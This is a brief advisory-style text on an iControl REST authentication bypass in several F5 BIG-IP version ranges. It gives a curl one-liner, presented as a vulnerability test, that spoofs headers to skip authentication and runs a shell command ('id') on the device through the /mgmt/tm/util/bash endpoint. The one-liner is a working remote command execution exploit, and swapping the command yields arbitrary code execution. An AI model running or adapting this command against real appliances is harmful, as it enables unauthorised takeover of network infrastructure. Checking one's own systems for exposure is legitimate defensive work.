On F5 BIG-IP 16.1.x versions prior to 16.1.2.2., 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication.
Use the following cURL one-liner to test for this vulnerability.
curl -k --header "Host: 127.0.0.1" --header "Authorization: Basic YWRtaW46YWRtaW4=" --header "X-F5-Auth-Token: asdf" --header "Connection: X-F5-Auth-Token" --header "Content-Type: application/json" https://$IPADDRESS /mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'